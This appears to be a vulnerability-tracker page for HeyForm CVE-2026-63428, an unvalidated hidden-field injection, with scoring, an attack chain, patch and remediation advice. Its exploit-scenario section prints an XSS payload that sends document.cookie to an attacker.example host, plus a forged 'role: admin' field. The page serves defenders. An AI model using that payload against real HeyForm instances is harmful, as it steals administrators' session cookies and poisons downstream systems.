Skip to main content

HeyForm CVE-2026-63428

| EUVDEUVD-2026-45985 MEDIUM
Improper Input Validation (CWE-20)
2026-07-20 GitHub_M
5.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify public HeyForm instance with active form
  2. Delivery
    Craft POST with arbitrary hiddenFields array payload
  3. Exploit
    Submit to completeSubmission endpoint unauthenticated
  4. Install
    Server stores injected fields without schema validation
  5. C2
    Poisoned fields forwarded verbatim to all registered webhook integrations
  6. Execute
    Admin views submission in UI
  7. Impact
    Stored XSS executes in admin browser context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

The targeted form must be publicly accessible without authentication - any form configured to accept anonymous submissions is fully exposed (CVSS PR:N, UI:N). No special server configuration is required beyond a deployed HeyForm instance with at least one active public form. Webhook poisoning impact requires at least one webhook integration to be registered on the affected form; without registered webhooks, injected fields are stored but confined to the HeyForm database. The stored XSS consequence requires an administrator to view the poisoned submission in a UI that renders hidden field values without output encoding - this adds an implicit user-interaction prerequisite for the XSS chain specifically, which is not captured in the base CVSS vector. The control-character URL bypass (also patched in 3.0.0-rc.9) is limited to form fields that render submitted URLs as anchor href attributes. Exploitation is not limited to any specific platform, OS, or non-default configuration of HeyForm itself.

Impact

The vendor-assigned CVSS 3.1 score of 5.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N) correctly captures network reachability and low complexity, but the Changed scope metric (S:C) is critical here - it reflects that webhook integrations outside the HeyForm boundary receive poisoned data. SSVC independently confirms automatable exploitation with partial technical impact, consistent with PR:N and the trivial nature of adding arbitrary fields to a form POST. The absence of a KEV listing indicates no confirmed mass exploitation, but the automatable + POC combination lowers the bar for opportunistic scanning. The webhook amplification path is the most consequential risk dimension: downstream CRM, ticketing, or SIEM systems that parse hidden field names as trusted metadata may misinterpret injected values as legitimate form structure. The stored XSS vector requires an admin to render the poisoned submission in a vulnerable UI context (adding implicit UI:R for that impact chain), meaning direct XSS severity is lower than the injection/webhook path. EPSS data was not included in the source intelligence, so exploitation probability relative to broader internet exposure cannot be quantified. No conflicting signals between CVSS and SSVC assessments are present.

Exploit ScenarioDerived

An attacker submits a crafted POST to any publicly accessible HeyForm form, supplying a hiddenFields array containing entries such as {id: "injected", name: "role", value: "admin"} and {name: "email", value: "<img src=x onerror=fetch('https://attacker.example/c?'+document.cookie)>"}. The server stores both verbatim and forwards them to all configured webhook endpoints, poisoning any downstream CRM or automation pipeline that treats hidden field names as trusted form schema. When an administrator later opens the submission detail view, the stored XSS payload executes in their browser, exfiltrating session cookies. A POC is available per SSVC assessment.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 20, 2026

Hidden field injection in HeyForm's form submission API allows anonymous submitters to bypass server-side schema validation and store arbitrary key/value pairs - including XSS payloads and forged authorization metadata - directly into submission records. All HeyForm deployments prior to version 3.0.0-rc.9 are affected. The injected data is subsequently forwarded verbatim to every registered webhook integration, enabling downstream system poisoning and stored XSS against any admin interface that renders submission data. SSVC rates this as automatable with a POC exploit available; no KEV listing at time of analysis.

RemediationAI

Upgrade to HeyForm version 3.0.0-rc.9 or later, which validates client-supplied hiddenFields IDs and names against the form's declared schema before persistence. The patch is available via the upstream commit at https://github.com/heyform/heyform/commit/092e255e9e02565de1b3c057f3dad849160952d2 and documented in the security advisory at https://github.com/heyform/heyform/security/advisories/GHSA-r7vg-xh87-v4w3. For organizations unable to upgrade immediately, disabling all webhook integrations prevents injected field data from reaching downstream systems, though this eliminates integration functionality entirely. Restricting submission endpoints to authenticated users via a reverse proxy (e.g., requiring session cookies before the /api/submit path is reachable) would eliminate the PR:N attack surface, at the cost of blocking public form submissions. Output-encoding all stored hidden field values in admin submission views would mitigate the stored XSS consequence independently of the injection root cause, but would not prevent webhook poisoning.

Affected VersionsENISA

heyform < 3.0.0-rc.9

Affected Packages

euvd heyform fix: 3.0.0-rc.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HeyForm is an open-source TypeScript/Node.js form builder (CPE: cpe:2.3:a:heyform:heyform:*:*:*:*:*:*:*:*). The root cause is CWE-20 (Improper Input Validation): the completeSubmission endpoint accepts a client-supplied hiddenFields: [{id, name, value}] array and persists it directly to submission.hiddenFields without cross-referencing supplied IDs or names against the form's server-authoritative form.hiddenFields schema. The patch commit (092e255e) also reveals a secondary XSS bypass: the previous unsafe-URL regex ^\s*(?:javascript|vbscript|data):/i could be defeated by inserting Unicode control characters (e.g., java\tscript:) within protocol strings. The fix introduces isUnsafeUrlProtocol(), which strips control characters (U+0000-U+001F, U+007F, whitespace) before protocol matching, and updates both answer-utils/html-utils.ts and form-renderer/Block.tsx to use the hardened function. The webhook forwarding pipeline (packages/server/src/apps/webhook.ts) also migrated from assertSafeOutboundUrl to assertSafeOutboundRequest as part of the same security hardening pass.

Know when Heyform gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.8 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
vuln.today AI 7.2 HIGH

PR:N and UI:N for the core injection; S:C for webhook downstream impact; C:L added over the vendor score to reflect stored XSS credential exfiltration potential.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jul 20, 2026 - 17:02 EUVD

DescriptionCVE.org

HeyForm is an open-source form builder. Prior to version 3.0.0-rc.9, completeSubmission accepts a hiddenFields: [{id, name, value}] array from the submitter and stores it verbatim in submission.hiddenFields, without validating the supplied id/name against the form's declared form.hiddenFields schema. An anonymous form submitter can therefore inject arbitrary key/value pairs (including XSS payloads, fake authorization metadata, integration-relevant values) into the stored submission. These fields are subsequently forwarded as-is to every webhook integration registered on the form. Version 3.0.0-rc.9 contains a patch for the issue.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
Low
niche open-source form builder, limited enterprise deployment footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

29
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +29
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy